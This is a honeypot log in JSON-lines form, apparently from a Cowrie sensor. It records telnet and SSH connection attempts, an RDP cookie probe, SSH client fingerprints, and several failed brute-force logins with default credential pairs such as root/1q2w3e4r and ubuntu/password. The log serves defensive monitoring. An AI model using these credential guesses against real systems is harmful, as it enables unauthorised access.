{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48632,"dst_ip":"10.17.0.5","dst_port":23,"session":"993bd6751eb0","protocol":"telnet","message":"New connection: 152.42.224.71:48632 (10.17.0.5:23) [session: 993bd6751eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:44.051477Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56558,"dst_ip":"10.17.0.5","dst_port":22,"session":"a727bed8e7f0","protocol":"ssh","message":"New connection: 152.42.212.128:56558 (10.17.0.5:22) [session: a727bed8e7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:46.309012Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:46.315086Z","src_ip":"152.42.212.128","session":"a727bed8e7f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:46.318594Z","src_ip":"152.42.212.128","session":"a727bed8e7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35610,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5ede65c38d3","protocol":"telnet","message":"New connection: 152.42.224.71:35610 (10.17.0.5:23) [session: c5ede65c38d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:46.649750Z"}
{"eventid":"cowrie.session.closed","duration":117.98348927497864,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:48.088972Z","src_ip":"152.42.224.71","session":"2f7ac01c73bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35626,"dst_ip":"10.17.0.5","dst_port":23,"session":"e51b28e405f7","protocol":"telnet","message":"New connection: 152.42.224.71:35626 (10.17.0.5:23) [session: e51b28e405f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:48.512819Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35628,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7b0aabd9cd","protocol":"telnet","message":"New connection: 152.42.224.71:35628 (10.17.0.5:23) [session: 5c7b0aabd9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:48.637345Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdb9633ac9c9","protocol":"ssh","message":"New connection: 31.40.204.166:47284 (159.203.135.109:22) [session: cdb9633ac9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:49.205539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:49.210224Z","src_ip":"31.40.204.166","session":"cdb9633ac9c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:49.387810Z","src_ip":"31.40.204.166","session":"cdb9633ac9c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:49.814643Z","src_ip":"31.40.204.166","session":"cdb9633ac9c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:51.102479Z","src_ip":"31.40.204.166","session":"cdb9633ac9c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35640,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a40dca5ad43","protocol":"telnet","message":"New connection: 152.42.224.71:35640 (10.17.0.5:23) [session: 4a40dca5ad43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:52.156426Z"}
{"eventid":"cowrie.session.closed","duration":34.11873197555542,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:55.703511Z","src_ip":"152.42.224.71","session":"f07f849d9a26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":101.24045991897583,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:56.596904Z","src_ip":"152.42.224.71","session":"0c6e05cc9a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.11627411842346,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:58.014801Z","src_ip":"152.42.224.71","session":"77d2faccfbd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.272887468338013,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:59.785603Z","src_ip":"152.42.224.71","session":"e51b28e405f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.43903970718384,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:00.760031Z","src_ip":"152.42.224.71","session":"7c09e397cf2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50682,"dst_ip":"159.203.135.109","dst_port":22,"session":"50a7bb740531","protocol":"ssh","message":"New connection: 31.40.204.166:50682 (159.203.135.109:22) [session: 50a7bb740531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:01.020093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:01.082555Z","src_ip":"31.40.204.166","session":"50a7bb740531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:01.189258Z","src_ip":"31.40.204.166","session":"50a7bb740531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:01.786402Z","src_ip":"31.40.204.166","session":"50a7bb740531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93589735031128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:01.810491Z","src_ip":"152.42.224.71","session":"70d9a3c621a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.842451095581055,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:02.109606Z","src_ip":"152.42.224.71","session":"411c0f5ccd25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:02.915084Z","src_ip":"31.40.204.166","session":"50a7bb740531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57230,"dst_ip":"10.17.0.5","dst_port":23,"session":"347974c3fbd6","protocol":"telnet","message":"New connection: 152.42.224.71:57230 (10.17.0.5:23) [session: 347974c3fbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:07.217919Z"}
{"eventid":"cowrie.session.closed","duration":120.00159072875977,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:08.043310Z","src_ip":"152.42.224.71","session":"3c2b90e863dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57238,"dst_ip":"10.17.0.5","dst_port":23,"session":"229e73071c13","protocol":"telnet","message":"New connection: 152.42.224.71:57238 (10.17.0.5:23) [session: 229e73071c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:10.307039Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34334,"dst_ip":"159.203.135.109","dst_port":22,"session":"432b5647e3a0","protocol":"ssh","message":"New connection: 31.40.204.166:34334 (159.203.135.109:22) [session: 432b5647e3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:13.682392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:13.693763Z","src_ip":"31.40.204.166","session":"432b5647e3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.212.6.160","src_port":5457,"dst_ip":"10.17.0.5","dst_port":23,"session":"025454dcb6b7","protocol":"telnet","message":"New connection: 37.212.6.160:5457 (10.17.0.5:23) [session: 025454dcb6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:13.711668Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:13.893883Z","src_ip":"31.40.204.166","session":"432b5647e3a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:14.724721Z","src_ip":"31.40.204.166","session":"432b5647e3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:16.102609Z","src_ip":"31.40.204.166","session":"432b5647e3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.483432054519653,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:17.639765Z","src_ip":"152.42.224.71","session":"4a40dca5ad43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.19857573509216,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:19.249909Z","src_ip":"152.42.224.71","session":"993bd6751eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54742,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93461050c31","protocol":"telnet","message":"New connection: 152.42.224.71:54742 (10.17.0.5:23) [session: a93461050c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:20.187789Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54746,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f497343e396","protocol":"telnet","message":"New connection: 152.42.224.71:54746 (10.17.0.5:23) [session: 1f497343e396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:23.498858Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54756,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3a9a3119c0","protocol":"telnet","message":"New connection: 152.42.224.71:54756 (10.17.0.5:23) [session: 0e3a9a3119c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:25.388111Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37574,"dst_ip":"159.203.135.109","dst_port":22,"session":"a47131d6160a","protocol":"ssh","message":"New connection: 31.40.204.166:37574 (159.203.135.109:22) [session: a47131d6160a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:25.680491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:25.685443Z","src_ip":"31.40.204.166","session":"a47131d6160a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:25.809761Z","src_ip":"31.40.204.166","session":"a47131d6160a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:26.282228Z","src_ip":"31.40.204.166","session":"a47131d6160a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52798,"dst_ip":"10.17.0.5","dst_port":23,"session":"142af441b117","protocol":"telnet","message":"New connection: 152.42.224.71:52798 (10.17.0.5:23) [session: 142af441b117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:26.346190Z"}
{"eventid":"cowrie.session.closed","duration":13.021499395370483,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:26.733061Z","src_ip":"37.212.6.160","session":"025454dcb6b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:27.499614Z","src_ip":"31.40.204.166","session":"a47131d6160a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00541019439697,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:31.606499Z","src_ip":"152.42.224.71","session":"30ebf04b1936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52802,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2012660bd1","protocol":"telnet","message":"New connection: 152.42.224.71:52802 (10.17.0.5:23) [session: 1c2012660bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:31.628890Z"}
{"eventid":"cowrie.session.closed","duration":59.223844051361084,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:31.977794Z","src_ip":"152.42.224.71","session":"580bba980284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52812,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc14131e8a64","protocol":"telnet","message":"New connection: 152.42.224.71:52812 (10.17.0.5:23) [session: fc14131e8a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:34.379080Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47350,"dst_ip":"159.203.135.109","dst_port":22,"session":"c42221e7c303","protocol":"ssh","message":"New connection: 31.40.204.166:47350 (159.203.135.109:22) [session: c42221e7c303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:37.480790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:37.490677Z","src_ip":"31.40.204.166","session":"c42221e7c303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:37.610685Z","src_ip":"31.40.204.166","session":"c42221e7c303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:38.309055Z","src_ip":"31.40.204.166","session":"c42221e7c303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.961310386657715,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:38.598516Z","src_ip":"152.42.224.71","session":"5c7b0aabd9cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:39.592852Z","src_ip":"31.40.204.166","session":"c42221e7c303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.08265042304993,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:47.772701Z","src_ip":"152.42.224.71","session":"50bcde640d4b","protocol":"telnet"}
